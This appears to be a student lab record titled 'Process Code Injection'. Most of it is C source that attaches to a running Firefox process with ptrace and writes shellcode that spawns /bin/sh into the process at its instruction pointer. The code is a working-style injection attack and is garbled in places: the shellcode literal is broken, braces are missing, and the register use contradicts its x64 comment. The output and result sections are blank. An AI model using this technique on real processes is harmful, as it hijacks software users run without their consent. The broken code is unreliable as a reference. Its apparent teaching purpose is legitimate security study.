## Ex.No:8 Date:

#### PROCESS CODE INJECTION

#### Aim:

To do process code injection on Firefox using ptrace system call

### Algorithm:

- 1. Find out the pid of the running Firefox program.
- 2. Create the code injection file.
- 3. Get the pid of the Firefox from the command line arguments.
- 4. Allocate memory buffers for the shellcode.
- 5. Attach to the victim process with PTRACE\_ATTACH.
- 6. Get the register values of the attached process.
- 7. Use PTRACE\_POKETEXT to insert the shellcode.
- 8. Detach from the victim process using PTRACE\_DETACH

### **Program Code:**

```
# include <stdio.h>//C standard input output
# include <stdlib.h>//C Standard General Utilities Library
# include <string.h>//C string lib header
# include <unistd.h>//standard symbolic constants and types #
include <sys/wait.h>//declarations for waiting
# include <sys/ptrace.h>//gives access to ptrace functionality
# include <sys/user.h>//gives ref to regs
//The shellcode that calls /bin/sh
char shellcode[]={
\x 31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97"
\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05
  };
//header for our program.
void header()
  printf("----\n");
//main program notice we take command line options int
main(int argc,char**argv)
  int i, size, pid=0;
  struct user_regs_struct reg;//struct that gives access to registers
                   //note that this regs will be in x64 for me
//unless your using 32bit then eip,eax,edx etc...
```

```
char*buff;
  header();
  //we get the command line options and assign them appropriately!
  pid=atoi(argv[1]);
size=sizeof(shellcode); //allocate
a char size memory
buff=(char*)malloc(size);
  //fill the buff memory with 0s upto size
memset(buff,0x0,size);
  //copy shellcode from source to destination
  memcpy(buff,shellcode,sizeof(shellcode));
  //attach process of pid
  ptrace(PTRACE_ATTACH,pid,0,0);
  //wait for child to change state
wait((int*)0);
  //get process pid registers i.e Copy the process pid's general-purpose
  //or floating-point registers, respectively,
  //to the address reg in the tracer
  ptrace(PTRACE_GETREGS,pid,0,&reg);
printf("Writing EIP 0x%x, process %d\n",reg.eip,pid);
  //Copy the word data to the address buff in the process's memory
for(i=0;i < size;i++){
  ptrace(PTRACE_POKETEXT,pid,reg.eip+i,*(int*)(buff+i));
}
  //detach from the process and free buff memory
  ptrace(PTRACE_DETACH,pid,0,0);
  free(buff);
  return 0;
```

# **Output:**

**Result:**